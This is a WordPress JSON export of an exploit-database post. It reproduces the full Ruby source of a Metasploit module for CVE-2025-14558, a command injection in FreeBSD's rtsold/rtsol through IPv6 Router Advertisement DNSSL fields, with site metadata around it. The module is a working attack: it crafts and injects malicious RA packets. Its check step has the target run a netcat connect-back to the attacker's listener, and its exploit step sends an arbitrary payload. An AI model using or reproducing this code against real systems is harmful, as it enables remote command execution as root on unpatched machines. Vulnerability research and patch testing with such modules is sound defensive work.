{"id":40808,"date":"2026-02-13T13:39:12","date_gmt":"2026-02-13T13:39:12","guid":{"rendered":"http:\/\/localhost\/?p=40808"},"modified":"2026-02-13T13:39:12","modified_gmt":"2026-02-13T13:39:12","slug":"freebsd-rtsoldrtsol-dnssl-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=40808","title":{"rendered":"FreeBSD rtsold\/rtsol DNSSL Command Injection_MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-13T19:28:03&#8243;,&#8221;description&#8221;:&#8221;This module exploits a command injection vulnerability CVE-2025-14558 in FreeBSD&#8217;s rtsol8 and rtsold8 programs. These programs do not validate the domain search list options provided in IPv6 Router Advertisement messages; the option body is passed to&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-13T18:59:15&#8243;,&#8221;modified&#8221;:&#8221;2026-02-13T18:59:15&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;FreeBSD rtsold\/rtsol DNSSL Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-14558&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Capture\\n  include Msf::Exploit::Remote::Ipv6\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;FreeBSD rtsold\/rtsol DNSSL Command Injection&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits a command injection vulnerability (CVE-2025-14558)\\n          in FreeBSD&#8217;s rtsol(8) and rtsold(8) programs. These programs do not\\n          validate the domain search list options provided in IPv6 Router\\n          Advertisement messages; the option body is passed to resolvconf(8)\\n          unmodified. resolvconf(8) is a shell script which does not validate\\n          its input. A lack of quoting means that shell commands passed as input\\n          to resolvconf(8) may be executed, enabling command injection via $()\\n          substitution in the DNSSL domain name fields.\\n\\n          This exploit requires Layer 2 adjacency to the target (same network\\n          segment) and root privileges to send raw packets. Router advertisement\\n          messages are not routable and should be dropped by routers, so the\\n          attack does not cross network boundaries.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Lukas Johannes M\u00f6ller&#8217;,  # Metasploit module and PoC\\n          &#8216;Kevin Day&#8217;               # Vulnerability discovery\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-14558&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/security.FreeBSD.org\/advisories\/FreeBSD-SA-25:12.rtsold.asc&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/JohannesLks\/CVE-2025-14558&#8217;]\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;],\\n        &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n        &#8216;Privileged&#8217; =\\u003e true,\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;FreeBSD (all versions before 13.5-RELEASE-p8 \/ 14.3-RELEASE-p7 \/ 15.0-RELEASE-p1)&#8217;,\\n            {}\\n          ]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-12-16&#8217;,\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/unix\/generic&#8217;\\n        },\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;INTERFACE&#8217;, [true, &#8216;The network interface to use for sending RA packets&#8217;]),\\n        OptInt.new(&#8216;COUNT&#8217;, [true, &#8216;Number of RA packets to send&#8217;, 3]),\\n        OptInt.new(&#8216;DELAY&#8217;, [true, &#8216;Delay between packets in milliseconds&#8217;, 1000])\\n      ]\\n    )\\n\\n    deregister_options(&#8216;RHOSTS&#8217;, &#8216;FILTER&#8217;, &#8216;PCAPFILE&#8217;, &#8216;SNAPLEN&#8217;, &#8216;TIMEOUT&#8217;)\\n  end\\n\\n  def check\\n    check_pcaprub_loaded\\n\\n    # Use unspecified address to select default outbound interface\\n    lhost = datastore[&#8216;LHOST&#8217;] || Rex::Socket.source_address(&#8216;0.0.0.0&#8217;)\\n    lport = datastore[&#8216;LPORT&#8217;] || rand(44444..45444)\\n    service = nil\\n    client = nil\\n\\n    begin\\n      service = Rex::Socket::TcpServer.create(\\n        &#8216;LocalHost&#8217; =\\u003e lhost,\\n        &#8216;LocalPort&#8217; =\\u003e lport,\\n        &#8216;SSL&#8217; =\\u003e false,\\n        &#8216;Context&#8217; =\\u003e {\\n          &#8216;Msf&#8217; =\\u003e framework,\\n          &#8216;MsfExploit&#8217; =\\u003e self\\n        }\\n      )\\n\\n      vprint_status(\\&#8221;Started check listener on #{lhost}:#{lport}\\&#8221;)\\n\\n      check_cmd = \\&#8221;nc -w 5 #{lhost} #{lport}\\&#8221;\\n      vprint_status(\\&#8221;Sending RA packets with check payload: #{check_cmd}\\&#8221;)\\n\\n      send_ra_packets(check_cmd)\\n\\n      vprint_status(&#8216;Waiting for connection&#8230;&#8217;)\\n\\n      Timeout.timeout(10) do\\n        client = service.accept\\n        if client\\n          vprint_good(\\&#8221;Connection received from #{client.peerhost}\\&#8221;)\\n          return CheckCode::Vulnerable(&#8216;Target connected back via encoded payload&#8217;)\\n        end\\n      end\\n    rescue Timeout::Error\\n      return CheckCode::Safe(&#8216;No connection received within timeout&#8217;)\\n    rescue RuntimeError =\\u003e e\\n      return CheckCode::Unknown(\\&#8221;Pcaprub error: #{e}\\&#8221;)\\n    rescue StandardError =\\u003e e\\n      return CheckCode::Unknown(\\&#8221;Error during check: #{e.class} &#8211; #{e}\\&#8221;)\\n    ensure\\n      client.close if client\\n      service.close if service\\n    end\\n\\n    CheckCode::Safe(&#8216;The rtsold did not respond, target might not be vulnerable&#8217;)\\n  end\\n\\n  def send_ra_packets(cmd)\\n    interface = datastore[&#8216;INTERFACE&#8217;]\\n    count = datastore[&#8216;COUNT&#8217;]\\n    delay_ms = datastore[&#8216;DELAY&#8217;]\\n\\n    begin\\n      smac = get_mac(interface)\\n    rescue StandardError =\\u003e e\\n      fail_with(Failure::BadConfig, \\&#8221;Cannot get MAC address for interface #{interface}: #{e}\\&#8221;)\\n    end\\n\\n    begin\\n      open_pcap(&#8216;INTERFACE&#8217; =\\u003e interface, &#8216;ARPCAP&#8217; =\\u003e false)\\n    rescue StandardError =\\u003e e\\n      fail_with(Failure::BadConfig, \\&#8221;Cannot open pcap on interface #{interface}: #{e}\\&#8221;)\\n    end\\n\\n    begin\\n      pkt = ipv6_build_ra_packet(smac, cmd, ipv6_link_address(&#8216;INTERFACE&#8217; =\\u003e interface))\\n      count.times do |i|\\n        inject(pkt.to_s)\\n        Rex.sleep(delay_ms \/ 1000.0) if i \\u003c count &#8211; 1\\n      end\\n    ensure\\n      close_pcap\\n    end\\n  end\\n\\n  def exploit\\n    check_pcaprub_loaded\\n\\n    print_status(\\&#8221;Sending #{datastore[&#8216;COUNT&#8217;]} Router Advertisement(s) with DNSSL payload&#8230;\\&#8221;)\\n    send_ra_packets(payload.encoded)\\n    print_good(&#8216;Router Advertisement(s) sent successfully&#8217;)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/freebsd\/misc\/rtsold_dnssl_cmdinject.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/freebsd\/misc\/rtsold_dnssl_cmdinject\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-13T19:28:03&#8243;,&#8221;description&#8221;:&#8221;This module exploits a command injection vulnerability CVE-2025-14558 in FreeBSD&#8217;s rtsol8 and rtsold8 programs. These programs do not validate the domain search list options provided&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-40808","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>FreeBSD rtsold\/rtsol DNSSL Command Injection_MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=40808\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"FreeBSD rtsold\/rtsol DNSSL Command Injection_MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-13T19:28:03&#8243;,&#8221;description&#8221;:&#8221;This module exploits a command injection vulnerability CVE-2025-14558 in FreeBSD&#8217;s rtsol8 and rtsold8 programs. These programs do not validate the domain search list options provided...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=40808\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-13T13:39:12+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40808#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40808\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"FreeBSD rtsold\\\/rtsol DNSSL Command Injection_MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT-\",\"datePublished\":\"2026-02-13T13:39:12+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40808\"},\"wordCount\":950,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40808#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40808\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40808\",\"name\":\"FreeBSD rtsold\\\/rtsol DNSSL Command Injection_MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-13T13:39:12+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40808#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40808\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40808#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"FreeBSD rtsold\\\/rtsol DNSSL Command Injection_MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"FreeBSD rtsold\/rtsol DNSSL Command Injection_MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=40808","og_locale":"en_US","og_type":"article","og_title":"FreeBSD rtsold\/rtsol DNSSL Command Injection_MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-13T19:28:03&#8243;,&#8221;description&#8221;:&#8221;This module exploits a command injection vulnerability CVE-2025-14558 in FreeBSD&#8217;s rtsol8 and rtsold8 programs. These programs do not validate the domain search list options provided...","og_url":"https:\/\/zero.redgem.net\/?p=40808","og_site_name":"zero redgem","article_published_time":"2026-02-13T13:39:12+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=40808#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=40808"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"FreeBSD rtsold\/rtsol DNSSL Command Injection_MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT-","datePublished":"2026-02-13T13:39:12+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=40808"},"wordCount":950,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=40808#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=40808","url":"https:\/\/zero.redgem.net\/?p=40808","name":"FreeBSD rtsold\/rtsol DNSSL Command Injection_MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-13T13:39:12+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=40808#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=40808"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=40808#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"FreeBSD rtsold\/rtsol DNSSL Command Injection_MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40808","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=40808"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40808\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=40808"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=40808"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=40808"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}